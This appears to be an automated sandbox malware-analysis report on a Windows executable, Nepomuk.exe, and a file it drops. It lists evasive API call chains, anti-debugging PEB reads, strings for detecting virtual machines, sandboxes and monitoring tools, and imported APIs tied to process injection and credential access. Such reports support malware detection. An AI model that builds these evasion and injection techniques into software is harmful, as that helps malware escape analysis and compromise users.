C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_usfetwty.1uh.ps1

Windows Analysis Report
Nepomuk.exe

Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\Desktop\Nepomuk.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-38124

Source: Nepomuk.exe, NrEXDJiACHo.exe.7.dr, T68WJ1SM1U30WFLN7XXTLWOX8.exe.0.dr	Binary or memory string: PROCMON.EXE
Source: Nepomuk.exe, NrEXDJiACHo.exe.7.dr, T68WJ1SM1U30WFLN7XXTLWOX8.exe.0.dr	Binary or memory string: MPVMP32ENTRYNTQUERYINFORMATIONPROCESSCOINITIALIZESECURITYWRITEPROCESSMEMORYFREELIBRARYLSAOPENPOLICYAUDITQUERYSYSTEMPOLICYFLASHWINDOWEXADJUSTWINDOWRECTEXGLOBALMEMORYSTATUSEXCOINITIALIZEEXVIRTUALALLOCEXDESTROYWINDOWSHOWWINDOWANIMATEWINDOWUPDATEWINDOWWSARECVCRYPTENCRYPTCRYPTDECRYPTUIARAISEAUTOMATIONEVENTCONTINUEDEBUGEVENTISDEBUGGERPRESENTCHECKREMOTEDEBUGGERPRESENTCOIMPERSONATECLIENTCOSETPROXYBLANKETWAITFORSINGLEOBJECTASSIGNPROCESSTOJOBOBJECTGETWINDOWRECTGETSYSTEMPOWERSTATUSQUERYSERVICESTATUSSETSERVICESTATUSSETFOCUSGETPROCADDRESSEXITPROCESSOPENPROCESSDEBUGACTIVEPROCESSSETWINDOWPOSGETCURSORPOSADJUSTTOKENPRIVILEGESGETSYSTEMMETRICSGETLASTERRORQUERYPERFORMANCECOUNTERSETUNHANDLEDEXCEPTIONFILTERDRAWMENUBARWSASTARTUPWSACLEANUPBEEPGETNATIVESYSTEMINFORAISEEXCEPTIONWOW64DISABLEWOW64FSREDIRECTIONINITIALIZECRITICALSECTIONOPENPROCESSTOKENWSAIOCTLDEVICEIOCONTROLNTDLL.DLLSBIEDLL.DLLSETSECURITYDESCRIPTORDACLWINDOWSCREATESTRINGUIACLIENTSARELISTENINGROINITIALIZEVMTOOLSD.EXEGETKEYSTATEGETASYNCKEYSTATESETTHREADEXECUTIONSTATESETSUSPENDSTATESETCAPTUREGETSYSTEMTIMEGETHOSTBYNAMEWRITEFILEREADFILETRANSLATEMESSAGEVIRTUALFREELOCALFREEGETERRORMODEROACTIVATEINSTANCECOCREATEINSTANCECONTROLSERVICEEMPTYCLIPBOARDOPENCLIPBOARDUIAHOSTPROVIDERFROMHWNDBINDCREATEREMOTETHREADCREATETHREADGETCURRENTPROCESSIDHEAPALLOCCOTASKMEMALLOCVIRTUALALLOCGLOBALALLOCISPROCESSINJOBCRYPTPROTECTDATASETCLIPBOARDDATALSTRCPYWREGDELETEKEYWMESSAGEBOXWCREATEMUTEXWLOADLIBRARYEXWREGOPENKEYEXWCREATEWINDOWEXWFINDWINDOWEXWGETVERSIONEXWREGQUERYVALUEEXWREGSETVALUEEXWCRYPTACQUIRECONTEXTWDRAWTEXTWCREATEEVENTWCREATEJOBOBJECTWLSTRCATWCREATEPROCESSWLOADCURSORWLOGONUSERWREGISTERSERVICECTRLHANDLERWSTARTSERVICECTRLDISPATCHERWOPENSCMANAGERWDIALOGBOXPARAMWSHGETFOLDERPATHWOUTPUTDEBUGSTRINGWCREATEFILEMAPPINGWWSPRINTFWLOOKUPPRIVILEGEVALUEWSHELLEXECUTEWGETCOMPUTERNAMEWFINDFIRSTFILEWENCRYPTFILEWDECRYPTFILEWDELETEFILEWCREATEFILEWPOSTMESSAGEWGETMESSAGEWFORMATMESSAGEWPEEKMESSAGEWDISPATCHMESSAGEWSENDMESSAGEWSTARTSERVICEWQUERYDOSDEVICEWCREDREADWSYSTEMFUNCTION036GETTICKCOUNT64
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	Binary or memory string: SBIEDLL.DLL
Source: Nepomuk.exe, NrEXDJiACHo.exe.7.dr, T68WJ1SM1U30WFLN7XXTLWOX8.exe.0.dr	Binary or memory string: XENSERVICE.EXE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2594	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1108	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2948
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 527
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1121

Source: C:\Users\user\Desktop\Nepomuk.exe TID: 7232	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep count: 2594 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2724	Thread sleep count: 1108 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3216	Thread sleep count: 2948 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1712	Thread sleep count: 527 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1728	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7392	Thread sleep count: 2490 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7392	Thread sleep count: 1121 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 832	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5664	Thread sleep time: -922337203685477s >= -30000s

Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe	Binary or memory string: vmtoolsd.exe
Source: Nepomuk.exe, 00000000.00000003.1339975888.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1471118429.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466589569.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1391450964.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000002.1472216522.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1350308080.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1289528214.000000000169F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWt
Source: Nepomuk.exe, 00000000.00000003.1339975888.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1471118429.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466589569.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1391450964.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000002.1472216522.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1350308080.000000000169F000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1289528214.000000000169F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Nepomuk.exe, 00000000.00000003.1471118429.000000000164A000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000002.1472124521.000000000164A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: Nepomuk.exe, 00000000.00000002.1471763541.0000000000F4F000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: vmtoolsd.execuckoo_svc.exe
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe.0.dr	Binary or memory string: MpVmp32EntryNtQueryInformationProcessCoInitializeSecurityWriteProcessMemoryFreeLibraryLsaOpenPolicyAuditQuerySystemPolicyFlashWindowExAdjustWindowRectExGlobalMemoryStatusExCoInitializeExVirtualAllocExDestroyWindowShowWindowAnimateWindowUpdateWindowWSARecvCryptEncryptCryptDecryptUiaRaiseAutomationEventContinueDebugEventIsDebuggerPresentCheckRemoteDebuggerPresentCoImpersonateClientCoSetProxyBlanketWaitForSingleObjectAssignProcessToJobObjectGetWindowRectGetSystemPowerStatusQueryServiceStatusSetServiceStatusSetFocusGetProcAddressExitProcessOpenProcessDebugActiveProcessSetWindowPosGetCursorPosAdjustTokenPrivilegesGetSystemMetricsGetLastErrorQueryPerformanceCounterSetUnhandledExceptionFilterDrawMenuBarWSAStartupWSACleanupBeepGetNativeSystemInfoRaiseExceptionWow64DisableWow64FsRedirectionInitializeCriticalSectionOpenProcessTokenWSAIoctlDeviceIoControlntdll.dllSbieDll.dllSetSecurityDescriptorDaclWindowsCreateStringUiaClientsAreListeningRoInitializevmtoolsd.exeGetKeyStateGetAsyncKeyStateSetThreadExecutionStateSetSuspendStateSetCaptureGetSystemTimegethostbynameWriteFileReadFileTranslateMessageVirtualFreeLocalFreeGetErrorModeRoActivateInstanceCoCreateInstanceControlServiceEmptyClipboardOpenClipboardUiaHostProviderFromHwndbindCreateRemoteThreadCreateThreadGetCurrentProcessIdHeapAllocCoTaskMemAllocVirtualAllocGlobalAllocIsProcessInJobCryptProtectDataSetClipboardDatalstrcpyWRegDeleteKeyWMessageBoxWCreateMutexWLoadLibraryExWRegOpenKeyExWCreateWindowExWFindWindowExWGetVersionExWRegQueryValueExWRegSetValueExWCryptAcquireContextWDrawTextWCreateEventWCreateJobObjectWlstrcatWCreateProcessWLoadCursorWLogonUserWRegisterServiceCtrlHandlerWStartServiceCtrlDispatcherWOpenSCManagerWDialogBoxParamWSHGetFolderPathWOutputDebugStringWCreateFileMappingWwsprintfWLookupPrivilegeValueWShellExecuteWGetComputerNameWFindFirstFileWEncryptFileWDecryptFileWDeleteFileWCreateFileWPostMessageWGetMessageWFormatMessageWPeekMessageWDispatchMessageWSendMessageWStartServiceWQueryDosDeviceWCredReadWSystemFunction036GetTickCount64
Source: T68WJ1SM1U30WFLN7XXTLWOX8.exe, 00000007.00000002.2469642965.0000000001A3E000.00000004.00000020.00020000.00000000.sdmp, T68WJ1SM1U30WFLN7XXTLWOX8.exe, 0000000A.00000002.2469443459.00000000018D8000.00000004.00000020.00020000.00000000.sdmp, T68WJ1SM1U30WFLN7XXTLWOX8.exe, 0000000D.00000002.2469818940.00000000016F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Nepomuk.exe	API call chain: ExitProcess graph end node	graph_0-38069
Source: C:\Users\user\Desktop\Nepomuk.exe	API call chain: ExitProcess graph end node	graph_0-38096
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_00EF16C0 mov eax, dword ptr fs:[00000030h]	0_2_00EF16C0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_00EF12B0 mov eax, dword ptr fs:[00000030h]	0_2_00EF12B0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_00EF2380 mov eax, dword ptr fs:[00000030h]	0_2_00EF2380
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_00EF2380 mov eax, dword ptr fs:[00000030h]	0_2_00EF2380
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_00EF1000 mov eax, dword ptr fs:[00000030h]	0_2_00EF1000
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_015B0000 mov ecx, dword ptr fs:[00000030h]	0_2_015B0000
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_015B0B20 mov eax, dword ptr fs:[00000030h]	0_2_015B0B20
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_009512B0 mov eax, dword ptr fs:[00000030h]	7_2_009512B0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_00952550 mov eax, dword ptr fs:[00000030h]	7_2_00952550
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_009522C0 mov eax, dword ptr fs:[00000030h]	7_2_009522C0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_009522C0 mov eax, dword ptr fs:[00000030h]	7_2_009522C0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_009516C0 mov eax, dword ptr fs:[00000030h]	7_2_009516C0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_00951000 mov eax, dword ptr fs:[00000030h]	7_2_00951000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_018D0000 mov ecx, dword ptr fs:[00000030h]	7_2_018D0000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 7_2_018D0B20 mov eax, dword ptr fs:[00000030h]	7_2_018D0B20
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_009512B0 mov eax, dword ptr fs:[00000030h]	10_2_009512B0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_00952550 mov eax, dword ptr fs:[00000030h]	10_2_00952550
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_009522C0 mov eax, dword ptr fs:[00000030h]	10_2_009522C0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_009522C0 mov eax, dword ptr fs:[00000030h]	10_2_009522C0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_009516C0 mov eax, dword ptr fs:[00000030h]	10_2_009516C0
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_00951000 mov eax, dword ptr fs:[00000030h]	10_2_00951000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_032C0000 mov ecx, dword ptr fs:[00000030h]	10_2_032C0000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 10_2_032C0B20 mov eax, dword ptr fs:[00000030h]	10_2_032C0B20
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 13_2_012E0000 mov ecx, dword ptr fs:[00000030h]	13_2_012E0000
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Code function: 13_2_012E0B20 mov eax, dword ptr fs:[00000030h]	13_2_012E0B20

Source: C:\Users\user\Desktop\Nepomuk.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: Nepomuk.exe, Nepomuk.exe, 00000000.00000003.1466158005.0000000003F53000.00000004.00000800.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466158005.0000000003FEE000.00000004.00000800.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000000.1219887944.0000000000EF4000.00000002.00000001.01000000.00000003.sdmp, Nepomuk.exe, 00000000.00000003.1271551018.00000000035C6000.00000004.00000800.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000002.1472548905.000000000171E000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466457237.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466378385.0000000003FEF000.00000004.00000800.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466407094.0000000001718000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466407094.000000000170C000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000002.1471691846.0000000000EF4000.00000002.00000001.01000000.00000003.sdmp, Nepomuk.exe, 00000000.00000003.1466538836.000000000171C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: Nepomuk.exe, 00000000.00000003.1350478251.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1350187617.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1471485052.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000002.1472145956.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1350308080.0000000001678000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1471096945.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000002.1472383126.00000000016E3000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466589569.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1391895534.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1466512578.00000000016DD000.00000004.00000020.00020000.00000000.sdmp, Nepomuk.exe, 00000000.00000003.1359304340.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe